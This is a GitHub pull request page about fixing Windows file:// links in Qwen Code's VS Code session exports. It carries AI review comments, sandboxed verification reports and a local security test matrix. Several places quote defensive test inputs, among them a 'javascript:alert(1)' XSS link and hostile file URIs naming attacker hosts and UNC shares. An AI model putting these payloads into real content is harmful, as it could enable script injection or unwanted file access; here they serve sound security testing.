[建议] R2-3：现在即使在没有传 onFileClick 的使用方（PermissionDrawer 的计划文本、WebFetchToolCall/GenericToolCall 的工具输出）中，file:// 锚点也会被渲染出来；在这些场景下 file:// 点击分支被跳过（它要求 onFileClick），而本分支直接 return 且不调用 e.preventDefault()，等于把 file:// URL 的导航权交给宿主 —— 在阻止该协议的宿主上是毫无反馈的死链接，在不阻止的宿主上则产生依赖宿主的导航行为。已用仓库内的 markdown-it 探针验证：改动前同样的输入渲染为纯文本。—— 失败场景：工具输出或计划文本中的 [x](file:///tmp/a.md) 渲染成看似可用的链接（改动前为纯文本）；用户点击；没有接线任何处理器 → 触发 file:// URL 的默认导航 —— 多数宿主会以报错或静默方式拦截，而内嵌 webview 可能被导航离开聊天界面。建议修复见上方代码块（对 file:// href 无条件 preventDefault，仅在 onFileClick 存在时调用；或用可选 prop 限定 validateLink 覆写的生效范围）。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| it('preserves safe links while rejecting javascript links', () => { | ||
| renderMarkdown('[docs](https://example.com/a.md)'); |
There was a problem hiding this comment.
[Suggestion] R1-7: Round-1 finding R1-7 still stands. The new test added the https-preserve case R1-7 asked for, but still never renders a javascript: input, so the a[href^="javascript:"] assertion is vacuously true. Mutation-verified with flip at this commit: replacing the override with md.validateLink = () => true keeps the suite green (8/8), and adding the input below makes the mutated code fail. The PR does not currently render javascript: anchors — only the rejection side is unpinned. — Failure scenario: a future edit to the override admitting disallowed schemes ships a clickable javascript: anchor (an XSS surface in chat content) while this test stays green, because no javascript: input is ever exercised.
| it('preserves safe links while rejecting javascript links', () => { | |
| renderMarkdown('[docs](https://example.com/a.md)'); | |
| it('preserves safe links while rejecting javascript links', () => { | |
| renderMarkdown('[docs](https://example.com/a.md) [xss](javascript:alert(1))'); |
中文说明
[建议] R1-7：第一轮发现 R1-7 仍然存在。新增测试补上了 R1-7 要求的 https 保留用例，但仍未渲染任何 javascript: 输入，因此 a[href^="javascript:"] 断言恒真。已在本提交上做了变异验证并确认翻转：把覆写替换为 md.validateLink = () => true 后整套测试仍然全绿（8/8），而加入上面的输入后变异代码会失败。当前 PR 并不会渲染 javascript: 锚点 —— 只是"拒绝"这一侧没有被测试固定。—— 失败场景：未来对覆写的修改若放行了被禁 scheme，会在测试全绿的情况下让可点击的 javascript: 锚点（聊天内容中的 XSS 面）进入生产，因为从未有任何 javascript: 输入被执行过。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| const markdownLinkPath = pathToFileURL(filePath) | ||
| .href.replace(/\(/g, '%28') | ||
| .replace(/\)/g, '%29'); |
There was a problem hiding this comment.
[Suggestion] R2-4: The fixture rewrite export (#1).html → export a).html dropped producer-side coverage for two of the three encoding behaviors this line exists for. Mutation-verified at this commit: deleting .replace(/\(/g, '%28') keeps all 25 tests green (no remaining fixture contains (), and no fixture contains # — yet #→%23 is now load-bearing, because the consumer's normalizeExplicitFileLink splits the raw href on # before decoding (pre-PR the consumer tolerated an unencoded #; post-PR it truncates the path at it). — Failure scenario: if a future edit regresses %28 (e.g. back to bare pathToFileURL(filePath).href), exporting summary (draft.md emits an unbalanced-paren destination that markdown-it renders as no link at all — the success message appears as raw markdown text, the exact bug class this PR fixes for ). If the href builder ever emits an unencoded #, clicking the export link opens a truncated path (wrong file / ENOENT toast) while the suite stays green.
Suggested fix (one fixture pins %28, %23, and %29 simultaneously):
filename: 'export (#1).html',
uri: { fsPath: '/workspace/export (#1).html' },
// expected content ends with:
// (file:///workspace/export%20%28%231%29.html)中文说明
[建议] R2-4：fixture 从 export (#1).html 改写为 export a).html，丢掉了这行代码所要实现的三种编码行为中两种的生产端覆盖。已在本提交上做变异验证：删除 .replace(/\(/g, '%28') 后全部 25 个测试仍然通过（现有 fixture 均不含 (），也没有任何 fixture 含 # —— 而 #→%23 现在是承重保证，因为消费端 normalizeExplicitFileLink 会在解码之前按 # 切分原始 href（改动前消费端容忍未编码的 #，改动后会在该处截断路径）。—— 失败场景：若未来某次修改使 %28 回归（例如退回裸 pathToFileURL(filePath).href），导出 summary (draft.md 会产出圆括号不配对的目标，markdown-it 将不渲染任何链接 —— 成功消息会显示为原始 markdown 文本，正是本 PR 为 ) 修复的那类 bug。若 href 构造器某次输出了未编码的 #，点击导出链接会打开被截断的路径（错误文件 / ENOENT 提示），而测试套件依然全绿。建议修复（一个 fixture 同时固定 %28、%23、%29）见上方代码块。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| const lineMatch = fragment.match(/^L?(\d+)(?:-\d+)?$/i); | ||
| return lineMatch ? `${filePath}:${parseInt(lineMatch[1], 10)}` : filePath; |
There was a problem hiding this comment.
[Suggestion] R2-5: The rewrite duplicates the line-fragment grammar (/^L?(\d+)(?:-\d+)?$/i plus the :${parseInt(...)} transform) into a second branch of the same function — the fallback copy remains at lines 73-77 — and a third pre-existing copy lives in normalizePathAndLine (~line 161). — Concrete cost: any change to the fragment grammar (e.g. column specs #L12C34) must now be made in three places in one file, two of them inside this single function; missing the newest branch makes the explicit-link click path and the auto-linkified file-path-link path disagree about where app.ts#L12 resolves — surfacing later as a link that opens the wrong location or not at all.
Suggested fix:
const lineMatch = fragment.match(/^L?(\d+)(?:-\d+)?$/i);
const lineSuffix = lineMatch ? `:${parseInt(lineMatch[1], 10)}` : '';
// file:// branch: return filePath + lineSuffix;
// otherwise: return decodedPath + lineSuffix;中文说明
[建议] R2-5：此次重写把行片段语法（/^L?(\d+)(?:-\d+)?$/i 加 :${parseInt(...)} 转换）复制进了同一函数的第二个分支 —— 兜底拷贝仍在第 73-77 行 —— 而第三份既有拷贝位于 normalizePathAndLine（约第 161 行）。—— 具体代价：未来对片段语法的任何修改（例如列号 #L12C34）都要在同一文件的三处进行，其中两处在这一个函数内部；漏掉最新分支会使显式链接点击路径与自动 linkify 的 file-path-link 路径对 app.ts#L12 的解析结果不一致 —— 日后表现为链接打开错误位置或根本无法打开。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| if ( | ||
| /^(https?|mailto|ftp|data):/i.test(href) || | ||
| FILE_URI_PATTERN.test(href) | ||
| ) { | ||
| return; | ||
| } |
There was a problem hiding this comment.
[Suggestion] R2-6: This diff edits two identical copies of the same "skip external/file-scheme hrefs" predicate — in upgradeAnchorIfFilePath (~lines 232-235) and here in handleContainerClick — instead of sharing one helper. The round-1 FILE_URI_PATTERN extraction (R1-6) was done, but this composite disjunction remains duplicated. — Concrete cost: the next scheme change (adding vscode: or adjusting file:// handling) must remember both sites; missing one makes render-time link promotion and click routing diverge — e.g. a file:// anchor promoted to file-path-link at render time while the click handler treats it as external, or vice versa — which shows up only as a link that silently does nothing when clicked, with no error to trace.
Suggested fix:
const isExternalLinkScheme = (href: string): boolean =>
/^(https?|mailto|ftp|data):/i.test(href) || FILE_URI_PATTERN.test(href);
// call from both upgradeAnchorIfFilePath and handleContainerClick中文说明
[建议] R2-6：本 diff 修改了同一"跳过外部/file 协议 href"判断的两份相同拷贝 —— upgradeAnchorIfFilePath（约第 232-235 行）和此处 handleContainerClick —— 而没有共享一个辅助函数。第一轮的 FILE_URI_PATTERN 提取（R1-6）已完成，但这个复合析取判断仍是重复的。—— 具体代价：下一次 scheme 变更（新增 vscode: 或调整 file:// 处理）必须同时记得两处；漏掉一处会使渲染期的链接提升与点击路由分叉 —— 例如 file:// 锚点在渲染期被提升为 file-path-link 而点击处理器却按外部链接处理，或反之 —— 只会表现为点击后链接无声无息，没有任何错误可供排查。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| const renderedHtml = useMemo(() => { | ||
| try { | ||
| let html = md.render(content); | ||
| let html = removeFileUriImages(md.render(content)); |
There was a problem hiding this comment.
[Suggestion] R2-7: The new removeFileUriImages pass adds an unconditional full innerHTML parse + serialize round-trip to every markdown render, even though the near-universal case (no file: URI images) makes it pure waste; with enableFileLinks=true the same HTML string is then re-parsed by processFilePaths — two sequential full DOM round-trips per memo evaluation. — Failure scenario: renderedHtml recomputes on every content change — in MessageContent that means on every streamed token of a growing assistant message; each token now pays one extra O(html-size) DOM round-trip for content that contains no images at all.
Suggested fix (a false positive merely falls back to today's cost):
const removeFileUriImages = (html: string): string => {
if (typeof document === 'undefined' || !html.includes('file:')) {
return html;
}
// ...existing DOM sweep
};中文说明
[建议] R2-7：新增的 removeFileUriImages 处理为每次 markdown 渲染都加上了一次无条件的完整 innerHTML 解析 + 序列化往返，而绝大多数情况（不含 file: URI 图片）下这纯属浪费；当 enableFileLinks=true 时，同一份 HTML 字符串随后又会被 processFilePaths 再次解析 —— 每次 memo 计算两次串行的完整 DOM 往返。—— 失败场景：renderedHtml 在每次 content 变化时重新计算 —— 在 MessageContent 中即增长中的助手消息每流式输出一个 token 一次；现在每个 token 都要为根本不含图片的内容多付一次 O(html 长度) 的 DOM 往返。建议修复（给该处理加廉价前置判断；误报只会退回当前成本）见上方代码块。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| } else { | ||
| // Preserve the authority component for UNC paths. | ||
| filePath = `//${uriPath}`; |
There was a problem hiding this comment.
[Suggestion] R2-8: file://localhost/... (a valid RFC 8089 form meaning the local machine) falls into the UNC branch and normalizes to //localhost/... instead of the local path. Probe-verified with flip at this commit: the component emits onFileClick('//localhost/tmp/notes.md') for [notes](file://localhost/tmp/notes.md), and the fix below makes it emit /tmp/notes.md with all 8 existing tests still passing. The product's own producers never emit this form, so the trigger is hand-written content. — Failure scenario: [notes](file://localhost/tmp/notes.md) renders as a live link (newly possible via this diff); on click, normalizeExplicitFileLink returns //localhost/tmp/notes.md; on macOS/Linux openTextDocument then fails with file-not-found even though /tmp/notes.md exists and is what the URI denotes — only Windows resolves \\localhost\....
| } else { | |
| // Preserve the authority component for UNC paths. | |
| filePath = `//${uriPath}`; | |
| } else if (uriPath.toLowerCase().startsWith('localhost/')) { | |
| filePath = '/' + uriPath.slice('localhost/'.length); | |
| } else { | |
| // Preserve the authority component for UNC paths. | |
| filePath = `//${uriPath}`; |
中文说明
[建议] R2-8：file://localhost/...（RFC 8089 的合法形式，表示本机）会落入 UNC 分支，被规范化为 //localhost/... 而不是本地路径。已在本提交上探针验证并确认翻转：组件对 [notes](file://localhost/tmp/notes.md) 触发 onFileClick('//localhost/tmp/notes.md')，应用上方修复后触发 /tmp/notes.md，且现有 8 个测试全部通过。产品自身的生产者不会产出该形式，因此触发源是手写内容。—— 失败场景：[notes](file://localhost/tmp/notes.md) 渲染为可用链接（本 diff 之后才可能）；点击时 normalizeExplicitFileLink 返回 //localhost/tmp/notes.md；在 macOS/Linux 上 openTextDocument 会报文件不存在，尽管 /tmp/notes.md 存在且正是该 URI 所指 —— 只有 Windows 能解析 \\localhost\...。
— qwen3.8-max via Qwen Code /review (v0.21.10)
The current head f874bcb is clean. I traced the precheck input:diff_unavailable to gh 2.97.0 rejecting ESC bytes that only exist in an earlier commit patch and were removed by e906610; the final PR tree and e906610..f874bcb contain no ESC/control bytes. A maintainer-triggered /review should be safe. |
|
@doudouOUC Would you mind taking a look at the latest head when you have a chance? You originally confirmed the root cause in #8644. The automated precheck is currently blocked by ESC bytes from an earlier commit patch, while the final tree is clean. If it looks good, a maintainer-triggered review would help. Thanks! |
|
@wenshao Sorry for the ping. This PR is currently blocked only because the fork workflow runs are waiting for maintainer approval:
The current head is clean ( Could you please help approve the pending workflow runs or trigger a fresh review on the current head when you have time? Thanks! |
|
@qwen-code /triage |
|
Sandboxed verification: ✅ passed — merge-ready (agent verdict) - workflow run Ran the PR in an isolated, token-free container: A/B against the base build, mock-free harness assertions, targeted gates. Advisory evidence for human reviewers — not a review, an approval, or a CI check. Scripted assertions: 123 passed · 0 failed · 123 total Flakiness gate: ✅ 2 changed test file(s) x 5 identical rounds, no divergence 中文 — 判定：✅ 通过 · 可合入（agent 判定）沙箱验证在隔离、无凭证的容器中执行了该 PR 的代码（与 base 构建 A/B 对照、无 mock harness 断言、定向门禁）。仅作为评审证据，不构成评审、批准或 CI 检查。 脚本断言：123 通过 · 0 失败 · 123 总计 抖动门：✅ 2 changed test file(s) x 5 identical rounds, no divergence Verification reportPR #8953 — fix(vscode): preserve Windows file links in session exportsVerdict: 中文摘要
Central claim + A/BCentral claim: Secondary claims: (1) the renderer hardening rejects hostile Handler wire format (SessionMessageHandler)
Capture: Renderer behavior (MarkdownRenderer), driven with the real export-message markdown
Capture: Root cause chain, measured: markdown-it 14.2.0's default Receiver end checked: Corrections
Findings (non-blocking)
Not covered
MethodologyEnvironment: Flakiness gate logEvidence images
Harness scripts and raw logs are in the workflow run artifacts (7-day retention). — Qwen Code · sandboxed verification |
🖼️ web-shell visual previewRendered against a mock daemon (no real backend): the PR base vs this PR head Screenshots · before / afterℹ️ No screenshot changed against the PR base — but this PR edits 1 render-shaping file:
Either the change has no visual effect (logic, plumbing, a state the scenarios never reach), or no scenario renders this UI — in which case the preview cannot see it, and an empty result is a coverage gap rather than a clean bill of health. To make it visible, add a scenario to Full-resolution recordings (.webm) are attached to the workflow run. — Qwen Code · web-shell visuals |
|
Triage re-run completed without a new review.
The stage comments above were updated with the latest result. View workflow run. 上方各阶段评论已更新为最新结果。查看工作流运行。 |
Local verification report — real browser + real handler, A/B against merge-baseVerified head Verdict: this is a real fix for a real defect, and the defect is meaningfully worse than the PR describes. Recommend merge. One non-blocking finding (two of the new security tests are green only under jsdom) with a tested 4-line patch below. How this was verified (harness, so the numbers are reproducible)I did not trust jsdom for the renderer half — the component ships into a Chromium webview, so it was exercised in Chromium.
1. What actually breaks on
|
main @ merge-base |
PR #8953 | |
|---|---|---|
| rendered DOM | [<a href="http://file.md">file.md</a>](file:///d%3A/aplikacja/file.md) |
<a href="file:///D:/aplikacja/file.md">file.md</a> |
click defaultPrevented |
false | true |
postMessage → openFile |
never fires | D:/aplikacja/file.md |
| main-frame navigation | http://file.md/ |
none |
file.md and export.md are live, registered, publicly-resolvable domains. In an early run before I added egress blocking, the click did not just attempt the navigation — Chromium followed it to a third-party site (https://ciobanu.com/). So on main the chat panel leaves the webview for the public internet, which is exactly the "browser opens / HTTP 502" symptom reported.
2. It is not Windows-only
The same /export md on macOS/Linux is broken identically — [export.md](file:///tmp/…) linkifies to http://export.md/ and navigates away. The PR fixes that too. Consider widening the title/description beyond Windows.
3. Which half of the PR is load-bearing? (2×2 isolation)
| renderer | link producer | result |
|---|---|---|
main |
main |
broken — navigates to http://file.md/ |
| PR | PR | fixed — openFile("D:/aplikacja/file.md") |
| PR | main (vscode.Uri) |
fixed — openFile("d:/aplikacja/file.md") |
main |
PR (pathToFileURL) |
still broken — navigates to http://file.md/ |
The MarkdownRenderer change is the fix. The SessionMessageHandler change alone repairs nothing: with the renderer fix in place, the old file:///d%3A/… form already resolves correctly (Windows drive letters are case-insensitive). That is not a reason to drop it — it makes the link human-readable and it is what #8644 literally asked for — but the PR description reads as if pathToFileURL is the fix, and it isn't.
4. Format coverage (real handler → real renderer → click)
| export | fsPath | main result |
PR result |
|---|---|---|---|
| md (win) | D:\aplikacja\file.md |
navigates to http://file.md/ |
D:/aplikacja/file.md |
| md (win, spaces+parens) | D:\My Exports\chat (1).md |
navigates to http://29.md/ |
D:/My Exports/chat (1).md |
html (win, parens + #) |
C:\workspace\export (#1).html |
no anchor — dead text | C:/workspace/export (#1).html |
| json (win) | C:\Users\Me\session.json |
no anchor — dead text | C:/Users/Me/session.json |
| jsonl (win) | C:\Users\Me\session.jsonl |
no anchor — dead text | C:/Users/Me/session.jsonl |
| md (posix) | /tmp/qwen exports/export.md |
navigates to http://export.md/ |
/tmp/qwen exports/export.md |
md (posix, literal #) |
/tmp/qwen exports/a#b.md |
navigates to http://23b.md/ |
/tmp/qwen exports/a#b.md |
Every format is correct on the PR arm, including the #-in-filename and parens cases.
5. Security matrix (Chromium, enableFileLinks both false and true)
All correctly rejected on the PR arm — no anchor rendered, onFileClick never fires: file://server/share/…, file://attacker.example/…, file://localhost.evil/…, file:///%2F%2Fserver/…, file:///%5C%5Cserver/…, file://localhost//server/…, file://user:pw@localhost/…, file://C:/a/f.md. Correctly allowed: file://localhost/…, FILE:///…, #L12 fragments, %23 literal hashes. file:// images are stripped; javascript: still stripped; https:// links untouched.
For contrast, main with enableFileLinks=true happily handed /server/share/payload.md, /attacker.example/share/payload.md and /localhost.evil/share/payload.md to openFile — so this PR closes existing holes, it does not open them.
Finding (non-blocking, merge-then-follow-up): two new tests are green only under jsdom
rejects empty authority UNC file URI links on the default path and … with extra slash assert a guarantee the code does not provide in a real browser:
new URL('file:////server/share/payload.md').pathname |
decodedPath.startsWith('//') guard |
|
|---|---|---|
| jsdom / whatwg-url (test env) | //server/share/payload.md |
fires → rejected ✅ |
| Chromium (the actual runtime) | /server/share/payload.md — extra slashes collapsed |
does not fire → accepted |
In the webview the link renders and fires openFile('/server/share/payload.md').
Real-world impact is low — what reaches the host is a single-slash local path, not a UNC/SMB path, and openFile only opens an editor tab — so I would not hold the merge for it. But the tests currently certify a boundary that isn't enforced, which is the kind of thing that rots quietly.
I tested this patch in the same Chromium harness — it closes both cases, regresses none of the 13 allow/reject probes, and keeps all 18 MarkdownRenderer.test.tsx tests green:
const { filePath: rawUri, line } = splitLineFragment(raw);
+ // Chromium collapses `file:////server/...` down to pathname `/server/...`,
+ // so the pathname check below cannot see it. Reject on the raw form first.
+ if (/^file:\/{4,}/i.test(rawUri)) {
+ return undefined;
+ }
let uri: URL;Residual, pre-existing, explicitly not this PR's job
Plain assistant prose that merely mentions a filename still linkifies to a public domain and navigates the panel away — identical on both arms:
The plan lives in notes.md and the entry point is setup.py.
→ <a href="http://notes.md">, <a href="http://setup.py">, defaultPrevented=false
Same root class as #8644, and arguably the larger remaining exposure. Worth a follow-up issue: either drop linkify for bare filename-shaped tokens, or intercept http(s) anchors whose host is a bare filename.
Nits (optional)
- The new
file://anchors are intercepted onclickonly. A middle-click firesauxclickand is not prevented (defaultPrevented=falsein the harness). Very likely inert inside a VS Code webview, but abutton !== 0/auxclickguard would close it. removeFileUriImagesrunshtml.toLowerCase()before theincludes('file:')test, allocating a full copy of every message's HTML on every render even when nofile:is present. A case-insensitiveindexOf/regex test avoids it.
Local gates
| check | result |
|---|---|
packages/webui full suite |
489 passed / 34 files |
packages/vscode-ide-companion full suite |
487 passed, 1 skipped / 53 files |
tsc --noEmit (both packages) |
clean |
eslint src (both packages) |
clean |
| A/B: PR tests vs merge-base sources | 13/18 MarkdownRenderer + 2/25 SessionMessageHandler fail → the tests genuinely pin new behavior |
Note that repo CI does not run tsc, so the typecheck above is an extra local gate, not a CI signal.
中文说明
本地验证报告 —— 真实浏览器 + 真实 handler，与 merge-base 做 A/B
验证对象 head f874bcb42e75160dfab3e173b34165da8e102e19，基线 merge-base 9946d13a3578e770f88a4788aad6f1890237b58c。
结论：这是针对真实缺陷的真实修复，而且缺陷比 PR 描述的更严重。建议合并。 有一条非阻塞发现（两个新增安全测试只在 jsdom 下成立），下方附已实测的 4 行补丁。
验证方式
没有用 jsdom 验证渲染器那一半——该组件最终运行在 Chromium webview 里，所以在真实 Chromium 中执行。
- 生产端（真实代码 + 真实 Windows 语义）：按 arm 打包
SessionMessageHandler，走它真实的/export <fmt>路径，仅桩掉存储层。vscode.Uri用的是真实的vscode-uri包（即 VS Code 暴露的同一个类），在 require 期间把process.platform伪装成win32，让URI.file()走真正的 Windows 分支；pathToFileURL是真实 Node 强制{ windows: true }。因此两个 arm 在 Linux 上产出的都是与 Windows 逐字节一致的结果。 - 消费端（真实组件 + 真实浏览器）：把每个 arm 的真实
MarkdownRenderer.tsx打包，用 React 渲染进 Playwright 驱动的 headless Chromium，并以enableFileLinks={false}挂载——这正是AssistantMessage.tsx:93对/export消息实际传的值。点击用真实MouseEvent派发；记录onFileClick、defaultPrevented、主框架导航与对外请求。所有非本机出站流量被拦截并记录，不实际发出。 - 两半是串联的：真实 handler 产出的字符串就是真实渲染器接收的字符串。
1. main 上真正坏掉的是什么
根因不是盘符编码。markdown-it 默认的 validateLink 直接屏蔽 file: 协议，所以 [file.md](file:///…) 根本不会变成链接。而 webui 又开了 linkify: true——由于 .md、.py、.sh、.io 等都是真实顶级域，markdown-it 转而把标签文本自动链接成 <a href="http://file.md">，且没有任何逻辑阻止这次点击。
main @ merge-base |
PR #8953 | |
|---|---|---|
| 渲染 DOM | [<a href="http://file.md">file.md</a>](file:///d%3A/aplikacja/file.md) |
<a href="file:///D:/aplikacja/file.md">file.md</a> |
点击 defaultPrevented |
false | true |
postMessage → openFile |
从未触发 | D:/aplikacja/file.md |
| 主框架导航 | http://file.md/ |
无 |
file.md 与 export.md 是真实注册、公网可解析的域名。在我加出站拦截之前的一次运行中，点击不只是尝试导航——Chromium 真的跳到了第三方站点（https://ciobanu.com/）。也就是说在 main 上，聊天面板会离开 webview 跳往公网，这正是 issue 中"打开浏览器 / HTTP 502"的症状。
2. 这不是 Windows 独有问题
macOS/Linux 上的 /export md 坏法完全一样——[export.md](file:///tmp/…) 被 linkify 成 http://export.md/ 并跳走。本 PR 一并修好了。建议把标题/描述的范围从 Windows 放宽。
3. PR 的哪一半在起作用？（2×2 隔离实验）
| 渲染器 | 链接生成方 | 结果 |
|---|---|---|
main |
main |
坏 —— 跳转到 http://file.md/ |
| PR | PR | 修好 —— openFile("D:/aplikacja/file.md") |
| PR | main（vscode.Uri） |
修好 —— openFile("d:/aplikacja/file.md") |
main |
PR（pathToFileURL） |
仍然坏 —— 跳转到 http://file.md/ |
起作用的是 MarkdownRenderer 的改动。SessionMessageHandler 那一半单独并不能修复任何问题：有了渲染器修复后，旧的 file:///d%3A/… 形式本来就能正确解析（Windows 盘符大小写不敏感）。这不构成删掉它的理由——它让链接可读，也正是 #8644 字面上要求的——但 PR 描述读起来像是 pathToFileURL 才是修复，事实并非如此。
4. 格式覆盖（真实 handler → 真实渲染器 → 点击）
| 导出 | fsPath | main 结果 |
PR 结果 |
|---|---|---|---|
| md (win) | D:\aplikacja\file.md |
跳转 http://file.md/ |
D:/aplikacja/file.md |
| md (win, 空格+括号) | D:\My Exports\chat (1).md |
跳转 http://29.md/ |
D:/My Exports/chat (1).md |
html (win, 括号 + #) |
C:\workspace\export (#1).html |
无锚点——死文本 | C:/workspace/export (#1).html |
| json (win) | C:\Users\Me\session.json |
无锚点——死文本 | C:/Users/Me/session.json |
| jsonl (win) | C:\Users\Me\session.jsonl |
无锚点——死文本 | C:/Users/Me/session.jsonl |
| md (posix) | /tmp/qwen exports/export.md |
跳转 http://export.md/ |
/tmp/qwen exports/export.md |
md (posix, 文件名含 #) |
/tmp/qwen exports/a#b.md |
跳转 http://23b.md/ |
/tmp/qwen exports/a#b.md |
PR arm 上全部格式正确，包括文件名含 # 和括号的场景。
5. 安全矩阵（Chromium，enableFileLinks 取 false 与 true 各跑一遍）
PR arm 上全部正确拒绝——不渲染锚点、onFileClick 不触发：file://server/share/…、file://attacker.example/…、file://localhost.evil/…、file:///%2F%2Fserver/…、file:///%5C%5Cserver/…、file://localhost//server/…、file://user:pw@localhost/…、file://C:/a/f.md。正确放行：file://localhost/…、FILE:///…、#L12 行号片段、%23 字面井号。file:// 图片被剥离；javascript: 仍被剥离；https:// 链接不受影响。
作为对照，main 在 enableFileLinks=true 时会把 /server/share/payload.md、/attacker.example/share/payload.md、/localhost.evil/share/payload.md 直接交给 openFile——所以本 PR 是在堵已有的洞，而不是开新洞。
发现（非阻塞，可合并后跟进）：两个新增测试只在 jsdom 下成立
rejects empty authority UNC file URI links on the default path 与 … with extra slash 断言了代码在真实浏览器中并不提供的保证：
new URL('file:////server/share/payload.md').pathname |
decodedPath.startsWith('//') 守卫 |
|
|---|---|---|
| jsdom / whatwg-url（测试环境） | //server/share/payload.md |
触发 → 拒绝 ✅ |
| Chromium（实际运行时） | /server/share/payload.md——多余斜杠被折叠 |
不触发 → 放行 |
在 webview 中该链接会渲染出来，并触发 openFile('/server/share/payload.md')。
真实影响较低——交给宿主的是单斜杠本地路径而非 UNC/SMB 路径，且 openFile 只是打开编辑器标签页——所以我不会因此卡住合并。但测试目前认证了一条并未真正生效的边界，这类问题会悄悄腐化。
我在同一套 Chromium harness 里实测了下面这个补丁：它堵住了两个用例，13 条放行/拒绝探针全部无回归，且 MarkdownRenderer.test.tsx 的 18 个测试全绿：
const { filePath: rawUri, line } = splitLineFragment(raw);
+ // Chromium collapses `file:////server/...` down to pathname `/server/...`,
+ // so the pathname check below cannot see it. Reject on the raw form first.
+ if (/^file:\/{4,}/i.test(rawUri)) {
+ return undefined;
+ }
let uri: URL;遗留问题（既有的，明确不属于本 PR 职责）
普通助手正文里只要提到文件名，仍会被 linkify 成公网域名并把面板跳走——两个 arm 表现一致：
The plan lives in notes.md and the entry point is setup.py.
→ <a href="http://notes.md">、<a href="http://setup.py">，defaultPrevented=false
与 #8644 同一根因类别，而且可以说是剩下更大的暴露面。值得开一个跟进 issue：要么对形如裸文件名的 token 关掉 linkify，要么拦截 host 是裸文件名的 http(s) 锚点。
小建议（可选）
- 新的
file://锚点只在click上被拦截。中键点击触发的是auxclick，未被阻止（harness 中defaultPrevented=false）。在 VS Code webview 里大概率无害，但加一个button !== 0/auxclick守卫可以彻底封死。 removeFileUriImages在includes('file:')判断之前先做了html.toLowerCase()，即使内容里没有file:也会在每次渲染时为每条消息的 HTML 分配一份完整副本。改成大小写不敏感的indexOf/正则判断即可避免。
本地门禁
| 检查 | 结果 |
|---|---|
packages/webui 全量测试 |
489 通过 / 34 个文件 |
packages/vscode-ide-companion 全量测试 |
487 通过，1 跳过 / 53 个文件 |
tsc --noEmit（两个包） |
干净 |
eslint src（两个包） |
干净 |
| A/B：PR 的测试对 merge-base 源码 | MarkdownRenderer 13/18 失败 + SessionMessageHandler 2/25 失败 → 测试确实钉住了新行为 |
注意仓库 CI 并不跑 tsc，所以上面的类型检查是额外的本地门禁，不是 CI 信号。
|
@qwen-code /triage |
|
Sandboxed verification: ✅ passed — merge-ready (agent verdict) - workflow run Ran the PR in an isolated, token-free container: A/B against the base build, mock-free harness assertions, targeted gates. Advisory evidence for human reviewers — not a review, an approval, or a CI check. Scripted assertions: 157 passed · 0 failed · 157 total Flakiness gate: ✅ 2 changed test file(s) x 5 identical rounds, no divergence 中文 — 判定：✅ 通过 · 可合入（agent 判定）沙箱验证在隔离、无凭证的容器中执行了该 PR 的代码（与 base 构建 A/B 对照、无 mock harness 断言、定向门禁）。仅作为评审证据，不构成评审、批准或 CI 检查。 脚本断言：157 通过 · 0 失败 · 157 总计 抖动门：✅ 2 changed test file(s) x 5 identical rounds, no divergence Verification reportSandboxed verification: ✅ passed — merge-ready (agent verdict) - follow-up round at an unchanged head Ran the PR in an isolated, token-free container: A/B against the base build, mock-free harness assertions, targeted gates. Advisory evidence for human reviewers — not a review, an approval, or a CI check. Scripted assertions: 157 passed · 0 failed · 157 total This is a follow-up round: 中文 — 判定：✅ 通过 · 可合入（agent 判定，跟进轮次）
Previous-finding status table (follow-up round)
No declined or deferred rows existed; nothing worsened (head is unchanged). Central claim + A/BCentral claim: Secondary claims: (1) the renderer hardening rejects hostile Handler wire format (SessionMessageHandler)
Head cells additionally round-trip: Renderer behavior (MarkdownRenderer), driven with the real export-message markdown
Capture: Security matrix at head (28/28)
Capture: CorrectionsCarried from the previous round and re-confirmed by this round's base cells: the PR description frames the base defect as Windows-only, but the base renderer equally broke POSIX export links (R3 base cell produced the garbage Findings (non-blocking)No new findings this round. The four carried findings all stand (status table above); the dot-segment and pipe-form siblings swept this round fall inside finding 2's existing classification (no new capability). Mutation matrix
Capture: Not covered
MethodologyEnvironment: Flakiness gate logEvidence images
Harness scripts and raw logs are in the workflow run artifacts (7-day retention). — Qwen Code · sandboxed verification |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
LGTM, looks ready to ship — CI landed green after the review. ✅
|
Released in v0.22.2. |
3 participants
Before recording (compressed
before.mp4):before_pr.mp4
After recording (compressed
after.mp4):after_pr.mp4
What this PR does
Preserve Windows drive-letter paths in session export links and allow the Web UI Markdown renderer to open
file://links through the existing file click handler.Why it's needed
On Windows, session export links could encode a drive-letter path incorrectly and be rejected by Markdown rendering, causing a click to open the browser and return HTTP 502 instead of opening the exported file in VS Code.
Reviewer Test Plan
How to verify
/export md..mdfile opens in VS Code, with no browser navigation or HTTP 502.npm run clean,npm ci,npm run format,npm run lint:ci,npm run build, andnpm run typecheckpassed when run separately.Evidence (Before & After)
Before: clicking the Windows Markdown export link opened the browser and showed HTTP 502; the compressed
before.mp4recording is attached above. After: clicking the same link opens the exported Markdown file in VS Code without browser navigation or HTTP 502; the compressedafter.mp4recording is attached above.Tested on
Environment
Windows 11, VS Code Qwen Code Companion 0.21.9, workspace opened through GitHub Codespaces.
Risk & Scope
file://links are explicitly allowed by the Markdown renderer so the existing local-file click handler can process Windows paths.test:cirun reached@qwen-code/external-context(172 tests passed) but ended without an aggregate summary or exit code, so the full-suite result is inconclusive.Linked Issues
Fixes #8644
中文说明
本 PR 做了什么
保留会话导出链接中的 Windows 盘符路径，并允许 Web UI Markdown 渲染器通过现有的文件点击处理器打开
file://链接。为什么需要它
在 Windows 上，会话导出链接可能错误地编码盘符，随后被 Markdown 渲染器拒绝，导致点击链接后跳转到浏览器并返回 HTTP 502，而不是在 VS Code 中打开导出的文件。
审阅者测试计划
如何验证
/export md。.md文件在 VS Code 中打开，且不会跳转浏览器或出现 HTTP 502。npm run clean、npm ci、npm run format、npm run lint:ci、npm run build和npm run typecheck均通过。证据（修复前与修复后）
修复前：点击 Windows Markdown 导出链接会打开浏览器并显示 HTTP 502；压缩后的
before.mp4录屏已附在上方。修复后：点击同一链接会在 VS Code 中打开导出的 Markdown 文件，不会跳转浏览器或出现 HTTP 502；压缩后的after.mp4录屏已附在上方。已测试平台
环境
